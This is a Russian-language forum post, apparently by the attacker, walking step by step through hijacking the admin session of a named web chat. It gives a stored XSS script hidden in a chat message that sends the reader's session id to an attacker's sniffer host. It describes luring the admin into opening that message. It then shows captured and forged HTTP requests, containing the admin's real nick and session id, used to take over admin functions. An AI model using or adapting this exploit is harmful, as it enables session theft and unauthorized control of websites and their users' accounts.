Да, чат дырявенький....
Опишу весь процесс взлома (обычно я этго не делаю, но здесь брешь настолько простая, что можно и описать))):
1) Первым делом исследуем все на прохождение кавычек, тегов, знаков =, %, & и т.д. Оказалось что везде все хорошо отфильтровывается. НО в почте (система местной, чатовской почты) проходят теги в теле мессаги !! Т.е. обнаружили дырку.
2)Выясняем, что идентификация пользователей происходит по некому номеру сессии sid (это отслеживается навископом и экспериментами с
InetCrack). Подробно описывать не буду, разбирайтесь сами.
3) Выяснив (и проверив-отсылкой телеги самому себе) брешь, пишем такой скриптик в теле сообщения
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">
< script>setTimeout('var i=new Image;i.src="http://[адрес сниффера]/sniff.cgi?"+document.forms[0].sid.value',500);
</script>
Привет ! помнишь меня ? или я обозналси ?
[/QUOTE]<span id='postcolor'>
Этот скрипт создает картинку, и в качестве адреса для е закачки указывает адрес сниффера плюс данные из формы для ответа на мессагу. А эта форма содержит интересующий нас sid того человека, кто читает мессагу.
Таким образом, когда чел получит наше письмо и откроет его, на наш сниффер отправится информация о его номере сессии sid.
Скрипт срабатывает не сразу а с задержкой на пол секунды. Это нужно для того, что бы до срабатывания скрипта успела загрузится форма (которая в html документе идет ниже тела сообщения).
Перед отправкой скрипта, его нужно проверить. Для этого отправляем мессагу сами себе , копируем HTML текст на винт, вставляем скрипт на место тела сообщения, и открываем в браузере. Если ошибки не возникло и в логе сниффера видим свой sid значит все окей.
4)Находим админа (это просто- видно по иконке в списке юзеров), и отсылем ему телегу. Затем пишем ему в приват:
Ты почту давно проверял?
После этого он естественно сразу кидается ее проверять. Скрипт срабатывает (при этом он разумеется ничего не замечает, поскольку скрипт работает чисто. Заметить можно только если стоит фича типа навископа, но это для админов редкость)). Мы быстренько смотрим лог снифера и обнаруживаем номер его сессии (ну и попутно IP адрес, хотя он нам уже не нужен)
5)Далее начинаем искать админские кнопочки. Для этого включаем навископ и жмем обновить окно браузера. При этом все фреймы перезагружаются. Смотрим в логе навископа все странички, которые подгружались. Выбираем те, в которых могут быть админские кнопочки. Обычно кнопочки или в отдельном окошке или в том же фрейме что и форма отправки сообщений. Вставляем отобраные HTTP запросы в InetCrack, заменяем в куках и в адресе свой sid на sid админа, и свой ник на его ник.
Отправляем зпрос и смотрим есть ли кнопочки в ответном HTML. После нескольких попыток, я нашел запрос, который мне прислал кнопочки. Вот он:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">
GET http://asya-club.ru/chat/cont.php?sid=770322652&r=306 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://asya-club.ru/chat/chat.php
Accept-Language: ru
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
Host: asya-club.ru
Cookie: NickHistory=FINIK; cookid=770322652
[/QUOTE]<span id='postcolor'>
Здесь подставлены ник и sid админа FINIK (sid=770322652).
В ответ на этоот запрос сервер мне прислал следующий HTML:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title></title>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="TEXT/HTML; CHARSET=WINDOWS-1251">
<META HTTP-EQUIV="EXPIRES" CONTENT="WED, 26 FEB 1997 08:21:57 GMT">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META NAME="DOCUMENT-STATE" CONTENT="DYNAMIC">
</head>
<link href="msg.css" rel="stylesheet" type="text/css">
< script language="JavaScript">
function ContLoaded(){
parent.cont_loaded = true;
}
function Send(command){
if ( parent.selected_nick != '' ) {
document.forms.sendform.sid.value = parent.session_id;
document.forms.sendform.texteditor.value = command+' '+parent.selected_nick;
document.forms.sendform.submit();
}
}
</script>
<body bottommargin="1" topmargin="1" leftmargin="1" rightmargin="1" marginheight="1" marginwidth="1" class="contbody" onload="ContLoaded();">
<div class="tbtn" style="width:100%" onclick="Send('/kick');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/kick.gif" alt="" width="14" height="14" border="0">Выгнать</div>
<div class="tbtn" style="width:100%" onclick="Send('/op');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/op.gif" alt="" width="14" height="14" border="0">Повысить</div>
<div class="tbtn" style="width:100%" onclick="Send('/deop');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/deop.gif" alt="" width="14" height="14" border="0">Понизить</div>
<div class="tbtn" style="width:100%" onclick="Send('/pmute');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/pmute.gif" alt="" width="14" height="14" border="0">Отнять приват</div>
<div class="tbtn" style="width:100%" onclick="Send('/mute');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/mute.gif" alt="" width="14" height="14" border="0">Отнять голос</div>
<div class="tbtn" style="width:100%" onclick="Send('/unmute');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/unmute.gif" alt="" width="14" height="14" border="0">Вернуть голос</div>
<div class="tbtn" style="width:100%" onclick="Send('/ban');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/ban.gif" alt="" width="14" height="14" border="0">Запретить вход</div>
<div class="tbtn" style="width:100%" onclick="Send('/whois');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/whois.gif" alt="" width="14" height="14" border="0">Поглядеть Инфо</div>
<div class="tbtn" style="width:100%" onclick="Send('/move');"><img class="ico" align="left" hspace="0" vspace="0" src="./btn/move.gif" alt="" width="14" height="14" border="0">Послать В #Угол</div>
<form action="post.php" target="post" method="post" name="sendform" id="sendform">
<input type="hidden" name="sid" value="0" id="sid">
<input id="texteditor" type="hidden" name="texteditor" value="">
</form>
</body>
</html>
[/QUOTE]<span id='postcolor'>
Не трудно видеть, что у админа имеются следующие операции:
Выгнать
Повысить
Понизить
Отнять приват
Отнять голос
Вернуть голос
Запретить вход
Поглядеть Инфо
Послать В #Угол
Из исходника видны также команды, которые при этом нужно посылать на сервер.
6) Теперь можем творить что душа пожелает. Например повысить себе права. Для этого отсылаем следующий HTTP запрос
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">
POST http://asya-club.ru/chat/post.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://asya-club.ru/chat/msg.php
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
Host: asya-club.ru
Content-Length: 80
Pragma: no-cache
Cookie: NickHistory=FINIK; cookid=770322652
sid=770322652&texteditor=/deop Algol
[/QUOTE]<span id='postcolor'>
Это запрос посылки команды с замененными никами и sid, и отсылающий команду /deop Algol.
Как говорилось в старой рекламе "Вот я и в Хопре"